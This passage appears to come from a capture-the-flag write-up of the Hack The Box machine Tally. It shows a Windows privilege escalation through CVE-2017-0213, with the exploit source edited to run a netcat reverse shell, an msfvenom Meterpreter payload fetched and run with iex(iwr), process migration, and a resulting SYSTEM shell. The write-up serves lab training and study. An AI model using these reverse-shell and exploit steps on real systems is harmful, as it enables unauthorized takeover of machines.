System Boot Time:          10/04/2022, 22:12:01
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
                           [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,047 MB
Available Physical Memory: 121 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 729 MB
Virtual Memory: In Use:    3,366 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB.LOCAL
Logon Server:              \\TALLY
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB3199986
                           [02]: KB4015217
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [02]: fe80::7581:5424:c9c4:f41e
                                 [03]: dead:beef::7581:5424:c9c4:f41e
                                 [04]: dead:beef::240
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

KB4015217 is from 11 April 2017, and this box released on 4 November 2017. CVE-2017-0213 was a well know privesc in Windows that became public in May 2017. It’s a bit hard to know this now in 2022, but this is the kind of thing that people would have known about in 2017, and this CVE is actually the intended path for Tally shown in the official HTB writeup.

Note to tim

On Sarah’s desktop, there’s a note to tim (draft).txt:

Hi Tim,

As discussed in the cybersec meeting, malware is often hidden in trusted executables in order to evade detection. I read somewhere that cmd.exe is a common target for backdooring, so I’ve gone ahead and disallowed any cmd.exe outside the Windows folder from executing.

Thanks, Sarah

This is important, because the POCs for CVE-2017-0213 run cmd.exe, which will either pop a command prompt (which isn’t helpful to me), or, if I place a new binary in the current directory named cmd.exe, run that. So I could put a reverse shell in my current directory named cmd.exe, but this says that will be blocked.

I’ll have to edit and compile the exploit.


Without Edits

In my Windows VM, I’ll download this C++ source for the exploit. I’ll create a new project in Visual Studio, and add it in as a new file to the project. I always try to build right away to make sure I know if it builds or not before making any changes. This throws an error:


Some Goolging for this error finds several Stack Overflow posts, including this one, where the user is trying to compile what looks like this exact exploit:


[The solution](


) is to cast that string to an LPWSTR:

	start_info.lpDesktop = LPWSTR (L"WinSta0\\Default");

After that change, the project builds.

With Edits

Instead of cmd.exe, I’ll just have it run nc64.exe -e powershell 447, which I set just below where that error happened:

	STARTUPINFO start_info = {};
	start_info.cb = sizeof(start_info);
	start_info.lpDesktop = LPWSTR (L"WinSta0\\Default");
	WCHAR cmdline[] = L"nc64.exe -e powershell 447";
	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))

I’ll build, and it compiles without error. Based on the fact that the exploit author is referring to EIP in the comments, I’ll build this as x86 (32-bit). Over the course of troubleshooting, I’ll end up trying both, but in the end, x86 is what works.

Get Interactive Process


Just running the exploit from my current shell will report success, but won’t actually trigger the payload. There’s a handful of variables I can play with to see what might be breaking. There’s no good way to show in a blog post how I worked through these, but I can at least lay out what I consider:

  • 32-bit vs 64-bit.
  • Is it ok to have arguments in the payload?
  • Interactive Session

Interactive Sessions

Unfortunately for me, I came up with the third option long after playing with the other two for a bit. This article does a good job explaining sessions in depth, but the short bits I need to know here is that Windows groups processes into sessions, and each process belongs to exactly one session. Sessions can be interactive or non-interactive. For modern Windows (Vista+), session 0 is where the NT services are started, and it must be non-interactive. When I user logs in, their processes end up in a new session, which will often be session 1.

Many exploits that we want to run some other process must be run out of an interactive session. $PID is the id of the current process, which is in session (SI) 0:

PS C:\programdata> get-process -id $PID

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
    590      37    72252      86792       5.06   8488   0 powershell


To migrate, the easiest way to do that is with Metasploit. I’ll generate a Powershell payload with msfvenom (using a high port so I don’t have to run MSF as root):

oxdf@hacky$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh -o met.ps1 LHOST= LPORT=4443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of psh file: 3249 bytes
Saved as: met.ps1

I’ll start msfconsole, use exploit/multi/handler, set the payload, LHOST, and LPORT, and run:

msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):                             

   Name  Current Setting  Required  Description                 
   ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):              

   Name      Current Setting  Required  Description                 
   ----      ---------------  --------  -----------                 
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)                                       
   LHOST       yes       The listen address (an interface may be specified)
   LPORT     4443             yes       The listen port

Exploit target:                                                

   Id  Name                                                         
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > run

Now (with Python web server running), I’ll fetch and run met.ps1:

PS C:\programdata> iex(iwr

At MSF, there’s a shell:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 
[*] Sending stage (200262 bytes) to
[*] Meterpreter session 1 opened ( -> ) at 2022-04-11 10:12:43 +0000

meterpreter > 


I’ll look for a process in session 1 to migrate into by running ps:

meterpreter > ps         

Process List          

 PID    PPID  Name                        Arch  Session  User         Path
 ---    ----  ----                        ----  -------  ----         ----
 0      0     [System Process]
 4      0     System
 76     580   vmacthlp.exe
  4116   5624  firefox.exe                 x86   1        TALLY\Sarah  C:\Program Files (x86)\Mozilla Firefox\firefox.exe
 4168   4124  explorer.exe                x64   1        TALLY\Sarah  C:\Windows\explorer.exe
 4612   672   ShellExperienceHost.exe     x64   1        TALLY\Sarah  C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
 4712   672   SearchUI.exe                x64   1        TALLY\Sarah  C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
 5556   4168  vmtoolsd.exe                x64   1        TALLY\Sarah  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

explorer.exe is typically a good target.

meterpreter > migrate 4168
[*] Migrating from 8488 to 4168...
[*] Migration completed successfully.


From an interactive process, I’ll try the exploit again. I’ll upload the 32-bit version of the exploit that calls nc64.exe with arguments to C:\programdata (and nc64.exe if it’s not there from previous work). Then I’ll run shell to drop into a cmd instance from MSF.

meterpreter > shell
Process 8416 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


From C:\programdata, I’ll run the exploit:

11/04/2022  01:46            36,352 exp.exe
19/09/2017  22:14    <DIR>          Microsoft Help
11/04/2022  00:30            45,272 nc64.exe
               6 File(s)        128,022 bytes
              13 Dir(s)   2,268,626,944 bytes free

Building Library with path: script:C:\ProgramData\run.sct
Found TLB name at offset 766
QI - Marshaller: {00000000-0000-0000-C000-000000000046} 015AE408
Queried Success: 015AE408
AddRef: 1
Marshal Complete: 00000000
Release: 5
Release: 4
AddRef: 3
Release: 4
Release: 3
Result: 80029C4A
Release: 1
Release object 015AE198
Release: 2

The payload was to call nc64.exe to my host on 447. At that listening nc there’s a shell as SYSTEM:

oxdf@hacky$ nc -lnvp 447
Listening on 447
Connection received on 53857
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system